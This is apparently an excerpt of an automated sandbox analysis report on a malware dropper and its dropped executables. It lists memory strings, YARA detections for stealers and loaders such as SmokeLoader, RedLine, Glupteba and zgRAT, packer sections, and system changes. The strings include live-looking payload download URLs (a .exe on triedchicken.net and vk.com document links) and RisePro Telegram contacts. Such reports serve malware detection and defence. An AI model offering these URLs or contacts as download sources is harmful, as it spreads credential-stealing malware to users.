Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.000000000198D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.X0
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT_IDENTIFIER=Intel64
Source: FSYOvyvMMT80PCsMousFK1Xa.exe, 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: https://t.me/irfail
Source: FSYOvyvMMT80PCsMousFK1Xa.exe, 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: https://t.me/irfailAt
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot.52nia
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_boteriSign
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tagmanager.google.com
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ton.twimg.com
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://triedchicken.net/
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167644651.000001D701F18000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://triedchicken.net/cad54ba5b01423b1af8ec10ab5719d97.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167644651.000001D701F18000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://triedchicken.net/cad54ba5b01423b1af8ec10ab5719d97.exe3
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167644651.000001D701F18000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://triedchicken.net/cad54ba5b01423b1af8ec10ab5719d97.exep
Source: qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://triedchicken.net:80/cad54ba5b01423b1af8ec10ab5719d97.exe
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2623125717.0000000003331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see
Source: qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/browser_reports?dest=default_reports
Source: qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc329118071_676580549?hash=pFVdCz3lOS502jpZ4S1mZuaA9EuN2MatBz9F2cxg7Ac&dl=ej7ecTKnt3
Source: qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_668627934?hash=KOcSmbd2hjdTG4DLhdJgoCSrHOpCJeuTNRte86dnj0k&dl=iwW1iFTFzY3z
Source: qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_668652542?hash=KlAQZ4zXtzzV5eLSZ1KaXKdCOpfsWxOfH5GyV92XrPL&dl=yPhjzrub8w5M
Source: qk9TaBBxh8.exe, 00000000.00000003.2167644651.000001D701F18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_668769608?hash=EJK4IigrO9hmPOkFxXqpLliN8ksP1vifJqKZbhFKHvw&dl=HyyWNdLGIElg
Source: qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_668771194?hash=7dzZFNgNMhFnf8UKhZ88SSJWzznhZJIEKWOI1nQNlbw&dl=jwd31UuZgmzf
Source: qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167644651.000001D701F18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_668776833?hash=0O6PF91bZH66jRdVdr0Yhs0vV73FDPMFrSckqwaaZuH&dl=PH90vp0b08Gc
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F0E000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167644651.000001D701F18000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc5294803_668771194?hash=7dzZFNgNMhFnf8UKhZ88SSJWzznhZJIEKWOI1nQNlbw&dl=jwd31UuZg
Source: qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.ru
Source: qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2452855135.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468746507.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2465996225.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468946975.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450463415.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449563727.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2457158395.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449377666.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449563727.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468746507.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468605258.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450463415.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468946975.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449434243.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450640619.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468795113.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449615473.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468664100.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468605258.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com
Source: zFe0EAtgy56yDxXht4nmozfb.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/P.exe
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.security.us.panasonic.com
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yastatic.net

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2724393718.0000000003961000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

E-Banking Fraud

Yara detected Glupteba

Source: Yara match	File source: 17.1.tXlQ3NLbQqxBkFS_TfaDHWX4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000001.2435771287.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpFEA6.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpFE95.tmp			Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 28.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 10.0.nRGT2oA3F8V3EBSM6dmMTrGw.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000017.00000002.2716540059.0000000001AFF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000017.00000002.2719169995.0000000003650000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000F.00000002.3022350261.0000000001CBF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000017.00000002.2724393718.0000000003961000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001C.00000002.2938091738.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, type: DROPPED	Matched rule: Detects zgRAT Author: ditekSHen

.NET source code contains very large array initializations

Source: lumma1504[1].exe.7.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 307200
Source: JpL3YVeZ0uQ2FWGpg5WG.exe.7.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 307200

PE file contains section with special chars

Source: qk9TaBBxh8.exe	Static PE information: section name: .vmp(R
Source: qk9TaBBxh8.exe	Static PE information: section name: .vmp(R
Source: qk9TaBBxh8.exe	Static PE information: section name: .vmp(R
Source: qk9TaBBxh8.exe	Static PE information: section name: .vmp(R
Source: Space_bake[1].exe.0.dr	Static PE information: section name: 8<&>8<&>
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Space_bake[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: 8<&>8<&>
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .vmp$~
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .vmp$~
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .vmp$~
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: section name: .vmp$~
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name:
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name:
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name:
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: section name:
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: 8<&>8<&>
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp$~
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: 8<&>8<&>
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .vmp$~
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .vmp$~
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .vmp$~
Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: section name: .vmp$~
Source: Default16_team[1].exe.0.dr	Static PE information: section name: .vmp(R
Source: Default16_team[1].exe.0.dr	Static PE information: section name: .vmp(R
Source: Default16_team[1].exe.0.dr	Static PE information: section name: .vmp(R
Source: Default16_team[1].exe.0.dr	Static PE information: section name: .vmp(R
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: section name: .vmp(R
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: section name: .vmp(R
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: section name: .vmp(R
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: section name: .vmp(R

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_05CDD590 NtUnmapViewOfSection,		10_2_05CDD590
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_05CDD58B NtUnmapViewOfSection,		10_2_05CDD58B

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Windows\System32\GroupPolicy\gpt.ini	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Windows\System32\GroupPolicy\Machine	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Windows\System32\GroupPolicy\User	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	File created: C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A8925D	7_2_00A8925D
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009AC490	7_2_009AC490
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009FA490	7_2_009FA490
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009FB4B0	7_2_009FB4B0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009F64A0	7_2_009F64A0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A36450	7_2_00A36450
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009F8520	7_2_009F8520
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009DB750	7_2_009DB750
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009D8770	7_2_009D8770
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009D78A0	7_2_009D78A0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009DC800	7_2_009DC800
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009E2940	7_2_009E2940
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009D9A80	7_2_009D9A80
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009CEB90	7_2_009CEB90
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009D4B20	7_2_009D4B20
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009FCC40	7_2_009FCC40
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009ABFC0	7_2_009ABFC0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA00C2	7_2_00CA00C2
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A2E040	7_2_00A2E040
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9B02C	7_2_00C9B02C
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CC0020	7_2_00CC0020
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A30100	7_2_00A30100
